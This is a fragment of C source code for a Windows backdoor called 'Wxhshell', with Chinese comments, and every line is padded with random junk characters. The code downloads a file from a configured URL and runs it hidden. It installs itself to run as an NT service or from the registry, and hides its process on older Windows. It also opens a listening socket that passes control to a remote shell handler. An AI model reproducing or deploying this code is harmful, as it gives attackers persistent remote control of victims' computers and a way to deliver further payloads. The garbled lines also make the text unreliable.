ULONG UniqueProcessId; E$$pO.\
ULONG InheritedFromUniqueProcessId; GZ L{~7n
} PROCESS_BASIC_INFORMATION; KY)rkfo B
<O`yM2/pS
PROCNTQSIP NtQueryInformationProcess; I91pX<NBf
U Ox$Xwp5&
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <Tq&Va_w
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J 4$^Hr
|!r.p_Zt
HANDLE hProcess; 2b+0}u>a
PROCESS_BASIC_INFORMATION pbi; _ n.2'
O1/U3/2/d
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5lp
L$
if(NULL == hInst ) return 0; \z}/=Qgc
sGNVZx
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z[.+Wd\)-9
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,/.U'{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8\Y/?$on
8\-Q(9q(
if (!NtQueryInformationProcess) return 0; gTI!b
`O-LM e
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fV-vy]x..
if(!hProcess) return 0; +k!Y]_&(:f
UWdPB2x[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RU>Hr5ebo
}*!7
Vrep
CloseHandle(hProcess); ,"U8Fgf[r
MC.,n$O}6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H].G%,2'
if(hProcess==NULL) return 0; ,2F4S5F~rC
nZF(92v
HMODULE hMod; 32_{nLV$[
char procName[255]; \NYtxGV[Z
unsigned long cbNeeded; SnK j:|bV
)7mX]@
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lO/<xSjNd
B,SH9,
CloseHandle(hProcess); S-
Mh0o"
sSLs%)e|:
if(strstr(procName,"services")) return 1; // 以服务启动 :@PM+ [B|Q
=<-tD<
return 0; // 注册表启动 o0- 7# 2
} ?Gq'r2V
&"dT/5}6
// 主模块 _VU/j9<+
int StartWxhshell(LPSTR lpCmdLine) /Kmzi9j+
{ "ei*iUBN:
SOCKET wsl; WA-`
*m$v
BOOL val=TRUE; Wt +,6Cq
int port=0; G Q&9b_
struct sockaddr_in door; G"CV
S@
_C9*M6IU
if(wscfg.ws_autoins) Install(); Vp
$]
sQ65QJtt0A
port=atoi(lpCmdLine); fH.:#O:
0_HdjK
if(port<=0) port=wscfg.ws_port; W~GbB:-
.p%p _
WSADATA data; /^~3Ib8Fw+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qC9$xIWq
||y5XXs
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; fI%+
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DPvM|n`TW
door.sin_family = AF_INET; QDlEby m
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !FweXFl
door.sin_port = htons(port); :sRV]!Iw
`BKo`@
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +zxj-diM
closesocket(wsl); daT[2M
return 1; \Q"o\:IoIT
} ScrE tN
uX{n#i,~L
if(listen(wsl,2) == INVALID_SOCKET) { =z'w-ARy
closesocket(wsl); `fEB,0j^
return 1; 3 Oy-\09
} N=K|Nw
Wxhshell(wsl); @R=gJ:&a
WSACleanup(); ^5TSo&qZ
66<3zadJZU
return 0; 96a A2s1
3 $;6pY
} @sly-2{e1
D'aq^T'
// 以NT服务方式启动 !dB {E
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]trVlmZXH}
{ &~P5[[Q
DWORD status = 0; "}UJ~ j).
DWORD specificError = 0xfffffff; 3X$)cZQ
k LVf}J~?
serviceStatus.dwServiceType = SERVICE_WIN32; E
3b`GRay
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8~?3: IZ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ._m+@Uy]H}
serviceStatus.dwWin32ExitCode = 0; V,bfD3S3
serviceStatus.dwServiceSpecificExitCode = 0; g(t"+
P
serviceStatus.dwCheckPoint = 0; qG7^XO Ws-
serviceStatus.dwWaitHint = 0; l%*KBME
s z
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]gYnw;W$
if (hServiceStatusHandle==0) return; U0'> (FP~2
8YC\Bw
status = GetLastError(); Ev;HV}G
if (status!=NO_ERROR) #%k!`?^fbK
{ _aVrQ@9
serviceStatus.dwCurrentState = SERVICE_STOPPED; 43pQFDWa
serviceStatus.dwCheckPoint = 0; 5Qhu5~,K
serviceStatus.dwWaitHint = 0; ZSq7>}
serviceStatus.dwWin32ExitCode = status; zyTP|SXk
serviceStatus.dwServiceSpecificExitCode = specificError; I_@\O!<y}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fk)ts,p?
return; edhNQWn
} Pw/Z;N;:V
vz:P2TkM
serviceStatus.dwCurrentState = SERVICE_RUNNING; hK9Trr wau
serviceStatus.dwCheckPoint = 0; zCKZv|j6
serviceStatus.dwWaitHint = 0; N+x0"~T}I
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a&~_ba+
} x\r7q
XnrOC|P$
// 处理NT服务事件,比如:启动、停止 {g}!M^|
VOID WINAPI NTServiceHandler(DWORD fdwControl) oK&LYlU
{ naCPSsei
switch(fdwControl) />;1 }
{ `;b@a<Wl
case SERVICE_CONTROL_STOP: !)RND 6.
serviceStatus.dwWin32ExitCode = 0; D8N}*4S
serviceStatus.dwCurrentState = SERVICE_STOPPED; O{a<f7 W
serviceStatus.dwCheckPoint = 0; v!?bEM3D
serviceStatus.dwWaitHint = 0; L+Yn}"gIs
{ 1"3|6&=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'M185wDdAl
} Ar4E $\W
return; 5R}Qp<D[^
case SERVICE_CONTROL_PAUSE: V0 x[sEW
serviceStatus.dwCurrentState = SERVICE_PAUSED; S?n k9T+
break; 6 ]W!>jDc
case SERVICE_CONTROL_CONTINUE: #k8bZ?*:
serviceStatus.dwCurrentState = SERVICE_RUNNING; '/U[ ui0{
break; ]&\HAmOQS
case SERVICE_CONTROL_INTERROGATE: /kE3V`es
break; sfi.zuG
}; IRNL(9H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); HXhz |s0
} "P HkbU
W-q2|NK
// 标准应用程序主函数 b{<qt})
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $A"kHS7T
{ lxy_O0n
G\G TS}u[
// 获取操作系统版本 $9<q'hf<w
OsIsNt=GetOsVer(); <uUQ-]QOIh
GetModuleFileName(NULL,ExeFile,MAX_PATH); :@)UI,
cjt<&b*
// 从命令行安装 \"B?'Ep;
if(strpbrk(lpCmdLine,"iI")) Install(); >f #P(
D"0:n.
// 下载执行文件 v.:aICB5
if(wscfg.ws_downexe) { #pu6^NTK
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lY/{X]T.(
WinExec(wscfg.ws_filenam,SW_HIDE); 0UZ>y/
C)=
} r2}u\U4>
/^^t>L
if(!OsIsNt) { %JM:4G|q
// 如果时win9x,隐藏进程并且设置为注册表启动 '_,/N!-V
HideProc(); OQMkpX-dH
StartWxhshell(lpCmdLine); 01N"
} m7wD#?lm
else CY#|VE M
if(StartFromService()) bVmHUcR0
// 以服务方式启动 5vs~8|aRo
StartServiceCtrlDispatcher(DispatchTable); 6nh!g
else |niYN7 17
// 普通方式启动 [
qt
hn[3
StartWxhshell(lpCmdLine); 73B,I 0U
:;W[@DeO[
return 0; kcKcIn{
}